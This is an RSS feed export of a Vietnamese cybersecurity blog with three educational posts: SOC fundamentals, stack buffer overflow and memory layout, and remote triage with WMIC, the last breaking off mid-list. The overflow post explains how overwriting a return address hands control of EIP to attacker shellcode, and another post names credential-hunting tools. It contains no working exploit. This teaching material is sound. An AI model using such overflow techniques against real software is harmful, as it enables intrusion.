<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CYBERSECURITY]]></title><description><![CDATA[Cybersecurity Blogs]]></description><link>https://blog.lehonghai.com</link><generator>RSS for Node</generator><lastBuildDate>Fri, 24 Apr 2026 08:37:06 GMT</lastBuildDate><atom:link href="https://blog.lehonghai.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[SOC Fundamentals]]></title><description><![CDATA[1. Phân loại và vai trò
1.1. SOC là gì?
Trung tâm điều hành An ninh mạng (SOC) là nơi mà có đội ngũ chuyên trách liên tục theo dõi, giám sát và phân tích những vấn đề về bảo mật của tổ chức. Mục đích ]]></description><link>https://blog.lehonghai.com/soc-101-fundamental</link><guid isPermaLink="true">https://blog.lehonghai.com/soc-101-fundamental</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 09 May 2022 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h2>1. Phân loại và vai trò</h2>
<h3><strong>1.1. SOC là gì?</strong></h3>
<p>Trung tâm điều hành An ninh mạng (SOC) là nơi mà có đội ngũ chuyên trách liên tục theo dõi, giám sát và phân tích những vấn đề về bảo mật của tổ chức. Mục đích của nhóm SOC là phát hiện, phân tích và ứng phó với các sự cố an ninh mạng bằng cách sử dụng công nghệ, con người và quy trình.</p>
<h3><strong>1.2. Các mô hình SOC</strong></h3>
<ul>
<li><p><strong>In-house SOC:</strong> Tổ chức tự xây dựng đội ngũ SOC của riêng mình.</p>
</li>
<li><p><strong>Virtual SOC:</strong> Đội ngũ SOC không tập chung một nơi mà làm việc từ xa ở các địa điểm khác nhau</p>
</li>
<li><p><strong>Co-Managed SOC:</strong> Đội SOC nội bộ sẽ phối hợp và làm việc với nhà cung cấp dịch vụ bên ngoài - Managed Security Service Provider (MSSP)</p>
</li>
<li><p><strong>Command SOC:</strong> Đội SOC làm việc ở những đơn vị cung cấp viễn thông, mạng internet (ISP) hay các cơ quan quốc phòng.</p>
</li>
</ul>
<h3><strong>1.3. Sự kết hợp: Con người - Quy trình - Công nghệ</strong></h3>
<ul>
<li><p><strong>Con người:</strong> Đội ngũ nhân viên được đào tạo chuyên sâu, quen thuộc với các cảnh báo bảo mật và các kịch bản tấn công. Khi các kỹ thuật tấn công ngày càng thay đổi liên tục thì càng đòi hỏi những nhà phân tích SOC phải nhanh chóng thích ứng được với các kiểu tấn công mới và sẵn sàng nghiên cứu.</p>
</li>
<li><p><strong>Quy trình:</strong> Để một cấu trúc SOC của tổ chức đạt đến độ hoàn thiện tốt, phải có sự tối ưu, điều chỉnh với nhiều loại yêu cầu bảo mật khác nhau như: NIST, PCI, HIPAA. Các quy trình yêu cầu phải được chuẩn hóa để đảm bảo không bị thiếu xót trong một khâu nào đó.</p>
</li>
<li><p><strong>Công nghệ:</strong> Cần có nhiều sản phẩm khác nhau cho nhiều lĩnh vực như: Penetration Test, Detection, Prevention, Analyze. Tùy thuộc vào ngân sách của tổ chức mà lựa chọn sản phẩm phù hợp, đôi khi sản phẩm tốt nhất trên thị trường lại không phải là sản phẩm tốt nhất cho tổ chức của bạn.</p>
</li>
</ul>
<h3><strong>1.4. Các vị trí hoạt động trong SOC</strong></h3>
<ul>
<li><p><strong>SOC Analyst:</strong> Có thể được chia thành các nhóm như Level 1, 2 ,3 theo cấu trúc SOC. Một SOC Analyst sẽ thực hiện phân loại cảnh báo, tìm nguyên nhân và đưa ra biện pháp khắc phục.</p>
</li>
<li><p><strong>Incident Responder:</strong> Tham gia phát hiện các mối đe dọa, thực hiện đánh giá ban đầu về các vi phạm bảo mật.</p>
</li>
<li><p><strong>Threat Hunter:</strong> Tìm ra các lỗ hổng trong hệ thống trước khi kẻ tấn công có thể khai thác chúng bằng một cuộc tấn công.</p>
</li>
<li><p><strong>System Security Engineer:</strong> Vận hành hạ tầng các giải pháp như SIEM, các sản phẩm SOC, SOAR,..</p>
</li>
<li><p><strong>SOC Manager:</strong> Chịu trách nhiệm quản lý chung, thiết lập ngân sách, xây dựng chiến lược, quản lý nhân sự, điều phối hoạt động. Thường giải quyết các vấn đề vận hành hơn là kỹ thuật.</p>
</li>
</ul>
<h2>2. <strong>SOC Analyst và trách nhiệm</strong></h2>
<ul>
<li><p>SOC Analyst là những người đầu tiên được tiếp cận và phân tích mối đe dọa, đóng vai trò quan trọng trong SOC</p>
</li>
<li><p>Các kỹ thuật tấn công thay đổi liên tục, với SOC Analyst công việc sẽ bớt nhàm chán khi mỗi sự cố gặp phải sẽ khác nhau.</p>
</li>
<li><p>Kiến thức:</p>
<ul>
<li><p>Operating Systems: Hiểu hệ điều hành, biết được những gì là bất thường trong quá trình hoạt động. VD: Suspicious Process/Service.</p>
</li>
<li><p>Network: Hiểu về hoạt động của mạng, cách mà các máy tính giao tiếp với nhau. VD: Malicious IP/Domain, Data leak on network.</p>
</li>
<li><p>Malware Analysis: Kỹ năng phân tích mã độc cơ bản, hiểu mã độc thực hiện những gì, xác định được máy chủ điều khiển của mã độc.</p>
</li>
</ul>
</li>
</ul>
<h2>3. <strong>SIEM và mối quan hệ với SOC Analyst</strong></h2>
<ul>
<li><p><strong>Security Information and Event Management (SIEM)</strong></p>
<ul>
<li><p><strong>SIEM</strong> Là một giải pháp quản lý tập chung các sự kiện, nhật ký bảo mật theo thời gian thực trong một môi trường. Mục đích là phát hiện các mối đe dọa về bảo mật.</p>
</li>
<li><p>Với tư cách là một SOC Analyst, những gì cần được quan tâm nhất đó là xây dựng các quy tắc, bộ lọc đối với những dữ liệu thu thập được và tạo ra các cảnh báo cho bất kỳ sự kiện đáng ngờ.</p>
</li>
<li><p>VD: Một hoạt động đáng ngờ là có một người nào đó sử dụng HĐH Windows cố gắng thử đăng nhập 20 lần với các mật khẩu khác nhau trong vòng 10 giây. Không có ai quên mật khẩu của họ sau đó cố gắng nhập sai mật khẩu nhiều lần trong một khoảng thời gian ngắn như vậy. Như vậy trong tình huống này cần phải có quy tắc trên SIEM để tạo ra cảnh báo.</p>
</li>
<li><p>Một số giải pháp SIEM phổ biến: Splunk, IBM QRadar, ArcSight ESM, FortiSIEM,..</p>
</li>
</ul>
</li>
<li><p><strong>Mối quan hệ giữa SIEM và SOC Analyst</strong></p>
<ul>
<li><p>Dữ liệu thu thập được trên <strong>SIEM</strong> sẽ đi qua bộ lọc và tập luật để sinh ra các cảnh báo. Những cảnh báo này sẽ được phân tích bởi <strong>SOC Analyst</strong> nhằm xác định xem đó là một mối đe dọa thực sự (True Positive) hay nhầm lẫn (False Positive).</p>
</li>
<li><p>SOC Analyst phân tích các cảnh báo với sự trợ giúp của các sản phẩm SOC khác: EDR, Log Management, Threat Intelligence Feed,..</p>
</li>
</ul>
</li>
<li><p><strong>Ví dụ về False Positive</strong></p>
<ul>
<li><p>Một <strong>SIEM Team</strong> cố gắng tạo ra tập luật để phát hiện tấn công <strong>SQL Injection</strong> với từ khóa <code>union</code> trong URL</p>
</li>
<li><p>Một người dùng thực hiện tím kiếm Google và trên URL của anh ta xuất hiện: "<a href="https://www.google.com/search?q=sql+union+usage">https://www.google.com/search?q=sql+union+usage</a>" và một cảnh báo đã được sinh ra vì nó chứa từ khóa khớp với tập luật. Như vậy tình huống này là <code>FP</code> và có thể được thông báo với SIEM Team để cải tiến tập luật, quy trình cảnh báo.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b69d27f7-6176-4672-8e88-32cb0ba18451.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
</li>
</ul>
<h2>4. Quản lý <strong>Logs</strong></h2>
<ul>
<li><p>Là một giải pháp quản lý nhật ký: web logs, operating system logs, firewall logs, proxy logs, edr logs, mail server logs.v.v.. tập chung tại một điểm.</p>
</li>
<li><p>Với tư cách là một SOC Analyst, họ thường sử dụng Log Management để kiểm tra chi tiết về một hoạt động nghi ngờ. Ví dụ:</p>
<ul>
<li><p>Sử dụng Log Management để xem chi tiết về một cảnh báo sinh ra từ SIEM nhằm xác định là TP hay FP.</p>
</li>
<li><p>Sử dụng Log Management để truy vấn xem có bao nhiêu host đã kết nối đến địa chỉ ip hay tên miền độc hại đã biết.</p>
</li>
</ul>
</li>
<li><p>Các giải pháp SIEM có thể đã đi kèm với Log Management</p>
</li>
</ul>
<h2>5. <strong>Endpoint Detection and Response (EDR)</strong></h2>
<ul>
<li><p>Là một giải pháp bảo mật điểm cuối. Hỗ trợ giám sát theo thời gian thực, thu thập dữ liệu điểm cuối và có khả năng tự phân tích sau đó phản ứng lại với mối đe dọa một cách tự động dựa trên các quy tắc/kịch bản.</p>
</li>
<li><p>Một số giải pháp EDR phổ biến: CarbonBlack, SentinelOne, FireEye HX, Falcon CrowdStrike,..</p>
</li>
<li><p>Các giải pháp EDR cho phép quản lý tập chung nhiều điểm cuối, truy vấn hàng loạt, cô lập một điểm cuối (điểm cuối không thể giao tiếp với internet cũng như với các máy cùng mạng, chỉ giao tiếp được với trung tâm EDR), kết nối đến điểm cuối cho phép SOC Analyst thao tác trên đó,.v.v..</p>
</li>
</ul>
<h2>6. Điều phối, tự động hóa và phản ứng với sự cố bảo mật</h2>
<ul>
<li><p><strong>SOAR (Security Orchestration Automation and Response):</strong> Là một giải pháp điều phối, tự động hóa và phản ứng lại với các mối đe dọa an ninh mạng. Một số sản phẩm SOAR: Splunk Phantom, QRadar SOAR (IBM Resilient), Cortex XSOAR (Demisto), Logsign,..</p>
</li>
<li><p>Ưu điểm của SOAR:</p>
<ul>
<li><p>Tiết kiệm thời gian cho SOC Analyst, thông qua việc tự động hóa các tác vụ như: truy vấn băm của tệp, quét tệp trong môi trường sandbox,...</p>
</li>
<li><p>Vận hành một cách tập chung các công cụ, giải pháp bảo mật: Sandbox, Log Management,.v.v.. từ một điểm. Nói cách khác, các công cụ này được tích hợp vào SOAR.</p>
</li>
</ul>
</li>
<li><p><strong>Playbook:</strong> Là một tài liệu dạng kịch bản, mô tả những tình huống cụ thể được sử dụng trong các giải pháp SOAR. Playbook trình bày các bước thực hiện của một quy trình điều tra/phân tích. Đảm bảo tính đầy đủ cũng như sự thống nhất trong cách làm việc giữa các thành viên trong SOC Team.</p>
</li>
<li><p>Ví dụ: Một SOC Team thực hiện điều tra, phân tích một case về sự cố, nhưng một thành viên nào đó hoặc tất cả những người trong team đó đã không kiểm tra địa chỉ IP hoặc đã quên/bỏ lỡ bước này thì đó là một tình huống không mong muốn → Để khắc phục tình trạng này có thể đưa bước kiểm tra IP với các nguồn khác nhau vào Playbook.</p>
</li>
<li><p>Hình dưới minh họa SOAR như là trung tâm điều khiển, được cấu hình để hoạt động với các sản phẩm bảo mật khác:</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/e827a7b5-0e84-4353-b002-45ac5549bc92.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/4c4277fa-98ad-4598-b925-51e3f27ffcdf.png" alt="" style="display:block;margin:0 auto" />

<h2>7. <strong>Threat Intelligence Feed</strong></h2>
<ul>
<li><p><strong>Threat Intelligence feed:</strong> có thể hiểu như là nguồn dữ liệu chứa thông tin về các mối đe dọa an ninh mạng, chẳng hạn như: Hash, IP, Domain, URL,.v.v.. Những dữ liệu này được tạo ra từ các hoạt động độc hại đã được phát hiện.</p>
</li>
<li><p>Nguồn dữ liệu này có thể đến từ những bên thứ ba cung cấp và nó liên tục được cập nhật. Với một SOC Analyst, có thể tìm kiếm, thu thập và sử dụng chúng trong việc điều tra phát hiện các mối đe dọa trong hệ thống.</p>
</li>
<li><p>Một số nguồn Threat Intelligence phổ biến và miễn phí:</p>
<ul>
<li><p><a href="https://www.virustotal.com/">https://www.virustotal.com/</a></p>
</li>
<li><p><a href="https://talosintelligence.com/">https://talosintelligence.com/</a></p>
</li>
</ul>
</li>
<li><p><strong>Một số lưu ý:</strong></p>
<ul>
<li><p>Dữ liệu có thể được tìm thấy hoặc không tìm thấy trên các nguồn Threat Intelligence. Khi không tìm thấy, không có nghĩa là nó an toàn. Ví dụ: Hash của một tệp có thể không thấy trên VirusTotal</p>
</li>
<li><p>Dữ liệu được tìm thấy trên các nguồn Threat Intelligence cũng không có nghĩa là nó độc hại. VD: Một địa chỉ IP được cho là độc hại tại một thời điểm nhưng sau một khoảng thời gian, tin tặc thay đổi địa chỉ IP và địa chỉ IP cũ được nhà cung cấp cấp lại cho một người dùng khác → Lúc này không thể nói rằng IP đó là độc hại.</p>
</li>
</ul>
</li>
</ul>
<h2>8. Những sai lầm phổ biến đối với <strong>SOC Analysts</strong></h2>
<ul>
<li><p>Phụ thuộc quá nhiều vào VirusTotal</p>
<ul>
<li><p>Kết quả trên VT không khẳng định URL/IP/File là vô hại ⇒ Chỉ sử dụng VT như là công cụ hỗ trợ.</p>
</li>
<li><p>Các Malware mới và sử dụng các kỹ thuật AV Bypass ⇒ VT không phát hiện được hoặc ít bị phát hiện</p>
</li>
</ul>
</li>
<li><p>Phân tích nhanh chóng mã độc trong Sandbox</p>
<ul>
<li><p>Quá trình phân tích trong Sandbox thường mất khoảng 3-4 phút ⇒ Không phải lúc nào cũng đem lại kết quả chính xác</p>
</li>
<li><p>Mã độc có thể sử dụng các kỹ thuật phát hiện môi trường Sandbox và không tự động thực hiện các hành vi độc hại của mình, hoặc chúng không tự động kích hoạt ngay mà đợi 10-15 phút sau đó mới kích hoạt</p>
</li>
</ul>
<p>⇒ Nên phân tích trong thời gian dài là tốt nhất và nó được thực hiện trong môi trường thực tế nếu có thể</p>
</li>
<li><p>Phân tích logs không đầy đủ</p>
<ul>
<li>SOC Analyst nên sử dụng các giải pháp Log Management để thực hiện truy vấn, tìm kiếm trên toàn bộ hệ thống để đảm bảo không bỏ xót</li>
</ul>
</li>
<li><p>Xem qua VirusTotal Dates</p>
<ul>
<li><p>Khi thực hiện tìm kiếm IP/Domain/Hash trên các nguồn VT cần chú ý đến thời gian gần nhất mà dữ liệu được cập nhật, tốt nhất nên là mới nhất có thể</p>
</li>
<li><p>Cách tốt nhất là nên chủ động tìm kiếm lại hoặc re-analysis chứ không dựa vào kết quả cũ trước đó (cache).</p>
</li>
</ul>
</li>
</ul>
<h2>9. Tham khảo</h2>
<ul>
<li>LetsDefend - Hands-On Training platform, SOC Fundamentals</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Memory Layout and Stack Buffer Overflow]]></title><description><![CDATA[1. Phân bổ bộ nhớ trong Hệ điều hành 32-bits
Hệ điều hành 32-bits chỉ hỗ trợ tối đa 4GB RAM. Phân bổ bộ nhớ như sau:

1GB cho Kernel Space (Phần địa chỉ cao)

3GB cho User Space (Phần địa chỉ thấp)


]]></description><link>https://blog.lehonghai.com/memory-layout-and-stack-buffer-overflow</link><guid isPermaLink="true">https://blog.lehonghai.com/memory-layout-and-stack-buffer-overflow</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Fri, 18 Feb 2022 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h2>1. Phân bổ bộ nhớ trong Hệ điều hành 32-bits</h2>
<p>Hệ điều hành 32-bits chỉ hỗ trợ tối đa <strong>4GB</strong> RAM. Phân bổ bộ nhớ như sau:</p>
<ul>
<li><p>1GB cho <strong>Kernel Space</strong> (Phần địa chỉ cao)</p>
</li>
<li><p>3GB cho <strong>User Space</strong> (Phần địa chỉ thấp)</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b673e05f-2778-474f-8a34-ae749cb09fe4.png" alt="" style="display:block;margin:0 auto" />

<h2>2. Tổ chức bộ nhớ của một chương trình</h2>
<p>Một chương trình thông thường sẽ được cấp phát vùng nhớ ở <strong>User Space</strong> và vùng nhớ này có thể được chia nhỏ hơn thành các đoạn con: <code>Text/Code</code>, <code>Data</code>, <code>BSS</code>, <code>Heap</code>, <code>Stack</code>,..</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/61615387-fc0e-44ff-94ac-1f828108a609.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Đoạn</strong> <code>Text/Code</code><strong>:</strong> Thường nằm ở đầu tiên (thấp nhất) so với các đoạn còn lại mục đích để tránh bị tràn vào từ đoạn dữ liệu. Chứa code thực thi đã biên dịch. Quyền trên đoạn này là <code>Read-only/Execute</code></p>
<p><strong>Đoạn</strong> <code>Data</code><strong>:</strong> Lưu dữ liệu (các biến, hằng) đã được khởi tạo giá trị. Đoạn này đôi khi còn chia ra thành <code>Read-only</code> Data và <code>Read-Write</code> Data**.** Lấy ví dụ:</p>
<pre><code class="language-c">char s[] = "hello world";
int debug = 1;
</code></pre>
<p>⇒ Những biến này sẽ được lưu vào <code>Read-Write</code> Data</p>
<pre><code class="language-c">const char* str = "hello world";
</code></pre>
<p>⇒ Biến này sẽ được lưu vào <code>Read-only</code> Data</p>
<p><strong>Đoạn</strong> <code>BSS</code><strong>:</strong> Lưu dữ liệu (các biến, hằng) chưa được khởi tạo giá trị. Phân đoạn này có quyền <code>Read-Write</code>.</p>
<p><strong>Đoạn</strong> <code>Heap</code></p>
<ul>
<li><p>Sử dụng khi cấp phát bộ nhớ động, do người lập trình yêu cầu cho các biến không xác định kích thước tại thời điểm chạy.</p>
</li>
<li><p>Đoạn này thường nằm sau (trên) <code>BSS</code> và trước (dưới) <code>Stack</code>.</p>
</li>
<li><p><strong>Heap sẽ lớn dần lên đến các địa chỉ bộ nhớ cao hơn.</strong></p>
</li>
<li><p>Ví dụ cấp phát động:  <code>malloc</code>/<code>new</code></p>
</li>
</ul>
<p><strong>Đoạn</strong> <code>Stack</code></p>
<ul>
<li><p>Thường nằm ở cuối cùng (cao nhất/trên cùng) so với các đoạn trước đó. Cụ thể là nằm sau (trên) <code>Heap</code> và trước (dưới) <strong>Kernel Space</strong>.</p>
</li>
<li><p>Cấp phát theo các <strong>Stack Frame - SF</strong>, các SF tuân theo cơ chế <strong>LIFO</strong></p>
</li>
<li><p><strong>Stack sẽ lớn dần lên đến các địa chỉ bộ nhớ thấp hơn ⇒ TỨC LÀ NGƯỢC VỚI HEAP</strong></p>
</li>
<li><p><strong>Stack Frame</strong>: Lưu dữ liệu cần thiết khi gọi một hàm (biến cục bộ, tham số truyền vào hàm, địa chỉ trở về của hàm,..)</p>
</li>
<li><p>Mỗi một hàm có thể coi như một SF, mỗi khi gọi hàm, thì một SF mới lại được cấp phát ở đầu ngăn xếp</p>
</li>
<li><p>Thanh ghi con trỏ ngăn xếp (Stack Pointer - SP) được điểu chỉnh liên tục cứ mỗi khi có SF mới đc cấp phát hay thu hồi và nó luôn trỏ vào đỉnh Stack, hay <strong>SF</strong> mới nhất đc cấp phát</p>
</li>
<li><p>Khi <strong>Stack Pointer</strong> gặp <strong>Heap Pointer</strong> hoặc nó đạt đến giới hạn <strong>RLIMIT_STACK</strong> ⇒ Hết bộ nhớ Stack</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/0684acb7-b0d2-4b08-9246-7b7e7bd20733.png" alt="" style="display:block;margin:0 auto" />

<p><em>Cấp phát bộ nhớ cho các Stack Frame</em></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/ec385c2d-4b13-437b-949b-678559a99121.png" alt="" style="display:block;margin:0 auto" />

<p><em>Bên trong một Stack Frame</em></p>
<h2>3. Tràn bộ đệm trên Stack</h2>
<p>Lỗi này xảy ra khi dữ liệu đầu vào không được kiểm tra, xác minh trước khi đem đi xử lý dẫn đến việc ghi đè lên những vùng dữ liệu quan trọng khác.</p>
<p>Bên trong một Stack Frame, dữ liệu được mô tả như sau:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b542acfa-820f-47b7-9904-ff42713974b1.png" alt="" style="display:block;margin:0 auto" />

<p>Theo minh họa trên thì ta có thứ tự các vùng nhớ con bên trong một stack frame với chiều giảm dần của địa chỉ (high → low) như sau:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/d8661474-7dd9-4f73-993b-e2a9900891c6.png" alt="" style="display:block;margin:0 auto" />

<p>Như vậy khi xảy ra tràn bộ đệm trên ngăn xếp, chúng ta hiểu rằng dữ liệu tại vùng <strong>buffer space</strong> đang có vấn đề, cụ thể là dữ liệu của một biến nào đó đã “<strong>lấn chiếm/ghi đè”</strong> sang vùng nhớ lân cận của biến khác gây sai lệch về dữ liệu so với ban đầu trước khi ghi đè.</p>
<p>Một đặc điểm quan trọng cần lưu ý đó là các vùng nhớ con bên trong một stack frame lần lượt được phân bổ theo chiều địa chỉ giảm dần (high -&gt; low), điều này đồng nghĩa rằng bên trong một hàm: <strong>Biến nào được khai báo sau thì biến đó nằm ở vị trí có địa chỉ THẤP hơn biến khai báo trước.</strong></p>
<p>Cụ thể hãy xem ví dụ sau:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

void foo() {
	int a = 123;
	char b[16];
	int c = 456;
	int d = 789;
	printf("address of a = %d\n", &amp;a);
	printf("address of b = %d\n", &amp;b);
	printf("address of c = %d\n", &amp;c);
	printf("address of d = %d\n", &amp;d);
}

int main(int argc, char const *argv[]) {
	foo();
	return 0;
}
</code></pre>
<p>Biên dịch sau đó chạy chương trình và quan sát kết quả:</p>
<pre><code class="language-powershell">$ gcc.exe -o bof.exe bof.c
$ bof.exe
address of a = 6356668
address of b = 6356652
address of c = 6356648
address of d = 6356644
</code></pre>
<p>💡 Phiên bản GCC sử dụng: `gcc.exe (i686-posix-sjlj-rev0, Built by MinGW-W64 project) 8.1.0`. Có sẵn tại: <a href="https://sourceforge.net/projects/mingw-w64/files/">https://sourceforge.net/projects/mingw-w64/files/</a></p>
<p>Như vậy nếu xảy ra tràn bộ đệm ở biến <code>b</code> với kích thước dữ liệu vượt quá <strong>16 bytes</strong> thì kể từ byte thứ <strong>17</strong> trở đi nó sẽ <strong>ghi đè</strong> lên vùng nhớ của biến <code>a</code> (biến được khai báo trước nó), trong khi biến <code>c</code> và <code>d</code> (khai báo sau đó) không bị ảnh hưởng. Xem minh họa dưới đây: <code>b</code> <strong>ghi đè 2 bytes</strong> sang <code>a</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/fea474ba-91bb-4fe0-8188-b5ff1cd7c036.png" alt="" style="display:block;margin:0 auto" />

<p>Nghiêm trọng hơn, nếu dữ liệu ghi đè vượt quá vùng <strong>buffer space</strong> sau đó tràn sang cả vùng <strong>return address</strong> thì lúc này hacker coi như đã kiểm soát được <code>EIP</code> và điều khiển được luồng thực thi của chương trình về đoạn <strong>shellcode</strong> mà hacker chuẩn bị sẵn.</p>
<p>Xem minh họa dưới đây để thấy hacker kiểm soát được <code>EIP</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/025b510a-7dc0-4af3-9150-84768a6eee85.png" alt="" style="display:block;margin:0 auto" />

<h2>4. Tham khảo</h2>
<ul>
<li><p><a href="https://gabrieletolomei.wordpress.com/miscellanea/operating-systems/in-memory-layout/">Gabriele Tolomei, In-Memory Layout of a Program (Process)</a></p>
</li>
<li><p><a href="https://www.amazon.com/dp/1593272901">Michael Sikorski, Andrew Honig (2012). Practical Malware Analysis, No Starch Press</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[IR 103: Remote Triage Tools]]></title><description><![CDATA[Các cuộc tấn công đánh cắp thông tin xác thực ngày càng được sử dụng nhiều bởi những kẻ tấn công ngày nay. Các công cụ như BloodHound, DeathStar giúp hacker tự động hóa quá trình tìm kiếm, xác định cá]]></description><link>https://blog.lehonghai.com/ir-103-remote-triage-tools</link><guid isPermaLink="true">https://blog.lehonghai.com/ir-103-remote-triage-tools</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Sat, 25 Dec 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Các cuộc tấn công đánh cắp thông tin xác thực ngày càng được sử dụng nhiều bởi những kẻ tấn công ngày nay. Các công cụ như <a href="https://github.com/BloodHoundAD/BloodHound"><strong>BloodHound</strong></a>, <a href="https://github.com/byt3bl33d3r/DeathStar"><strong>DeathStar</strong></a> giúp hacker tự động hóa quá trình tìm kiếm, xác định các thông tin đăng nhập trên hệ thống. Sau khi thu đạt được đặc quyền cao hơn, hacker sẽ dễ dàng “di chuyển” hơn bên trong môi trường của nạn nhân. Bài trước đã đề cập đến những rủi ro cao với Interactive Logons, phần này sẽ trình bày những cơ chế khác để truy cập các hệ thống từ xa theo cách không tương tác.</p>
<h1>1. Công cụ Quản lý và Truy vấn hệ thống</h1>
<p><strong>Windows Management Instrumentation (WMI)</strong> cho phép Quản trị viên, người tham gia Incident Response có thể thực hiện các thao tác và truy xuất vào hệ thống thông qua các lớp <code>WMI</code>. Microsoft tạo ra một công cụ dòng lệnh gọi là Windows Management Instrumentation Command-line utility - <code>WMIC</code> để tương tác với các lớp <code>WMI</code>.</p>
<p>DMTF (Distributed Management Task Force) trước đây đã tạo ra Common Information Model (CIM), CIM cung cấp tiêu chuẩn mở để mô tả các tài nguyên CNTT đều là các đối tượng, người dùng truy vấn, cấu hình tài nguyên thông qua việc tương tác với các đối tượng. Microsoft đã triển khai CIM dưới dạng WMI, nó sử dụng mô hình <strong>Remote Procedure Call/Distributed Component Object Model (RPC/DCOM)</strong> để thiết lập các kết nối từ xa đến các hệ thống được quản lý hoặc được truy vấn. Hiện nay Microsoft đã triển khai Windows Management Infrastructure (MI) có tính tương thích ngược với WMI, MI tận dụng <strong>Windows Remote Management (WinRM)</strong> là một triển khai của Web Services for Management (WS-Management). WS-Management sử dụng giao thức SOAP (Simple Object Access Protocol) qua HTTP/HTTPS để dễ dàng cho việc truy vấn và quản lý tài nguyên mạng từ xa.</p>
<p><strong>Như vậy để có thể tương tác với các lớp WMI có thể thông qua RPC/DCOM là cách truyền thống hoặc thông qua WinRM là MI.</strong> Bài này sẽ tập chung vào sử dụng WMIC để tương tác với các lớp WMI trên các kết nối RPC/DCOM truyền thống. Cuối cùng, cũng sẽ trình bày về Powershell.</p>
<h3>1.1. Tìm hiểu về WMI và cú pháp WMIC</h3>
<p><code>WMI</code> cung cấp một lượng lớn các tùy chọn để tương tác với hệ thống Windows, điều đó cũng đồng nghĩa nó cũng phức tạp. Đối với công việc của người làm IR thì không cần phải thông thạo tất cả mà chỉ một phần chức năng của WMI là đã đủ để thực hiện các yêu cầu. <code>WMIC</code> là công cụ dòng lệnh, đơn giản hóa việc truy cập vào WMI thông qua một tập hợp các <code>aliases</code> cho phép chúng ta tạo ra các lệnh tương đối đơn giản sau đó nó được WMIC chuyển đổi thành cú pháp cần thiết đê truy vấn WMI.</p>
<p>WMIC có thể được chạy ở 2 chế độ:</p>
<ul>
<li><p>Chế độ tương tác trực tiếp: Thông qua một <code>WMI-aware shell</code></p>
</li>
<li><p>Chế độ không tương tác: Thông qua lệnh <code>wmic</code> ở cửa sổ dòng lệnh và WMI Query Language (WQL) để lọc kết quả đầu ra (Khuyên dùng)</p>
</li>
</ul>
<p>Ví dụ minh họa chạy WMIC ở chế độ không tương tác:</p>
<pre><code class="language-bash">C:\&gt;wmic /node:"server1" process where name="svchost.exe" get name, processid, parentprocessid, commandline
CommandLine                                                                                     Name         ParentProcessId  ProcessId
C:\Windows\system32\svchost.exe -k DcomLaunch -p                                                svchost.exe  868              1008
C:\Windows\system32\svchost.exe -k RPCSS -p                                                     svchost.exe  868              924
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM                                         svchost.exe  868              1088
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC                                         svchost.exe  868              1224
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService                svchost.exe  868              1304
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc            svchost.exe  868              1312
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s hidserv                   svchost.exe  868              1400
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog                 svchost.exe  868              1488
C:\Windows\system32\svchost.exe -k LocalService -p                                              svchost.exe  868              1532
...
</code></pre>
<p>Giải thích cú pháp:</p>
<ul>
<li><p>Tham số <code>/node:"server1"</code> cho biết đây là một truy vấn đến hệ thống từ xa không phải cục bộ</p>
</li>
<li><p>Theo sau là <code>process</code> cho biết đây là một aliases (bí danh) đề cập đến lớp của WMI mà chúng ta muốn tương tác. Trong trường hợp này là lớp <code>Win32_Process</code></p>
</li>
<li><p>Tiếp theo <code>where name="svchost.exe"</code> đây là cú pháp của WQL dùng để lọc kết quả trả về, thuộc tính Name của các đối tượng <code>Win32_Process</code> được chỉ định bằng <code>svchost.exe</code></p>
</li>
<li><p>Cuối cùng <code>get name, processid, parentprocessid, commandline</code> là danh sách các thuộc tính của đối tượng, được phân cách bằng dấu <code>,</code></p>
</li>
</ul>
<p>Một thách thức đối với WMIC đó là hiểu cấu trúc của các đối tượng hay chính là các thuộc tính của các lớp WMI. Cố gắng ghi nhớ tất cả thông tin này sẽ tốn thời gian, với vai trò tham gia ứng phó sự cố thì chúng ta chỉ cần một số ít đối tượng và thuộc tính liên quan của chúng. Sử dụng <code>wmic /?</code> để tìm hiểu thêm, ngoài ra cũng có thể tham khảo các tài liệu sau:</p>
<ul>
<li><p>WMIC Quick Reference: <a href="https://www.appliedincidentresponse.com/wmic-quick-reference/">https://www.appliedincidentresponse.com/wmic-quick-reference/</a></p>
</li>
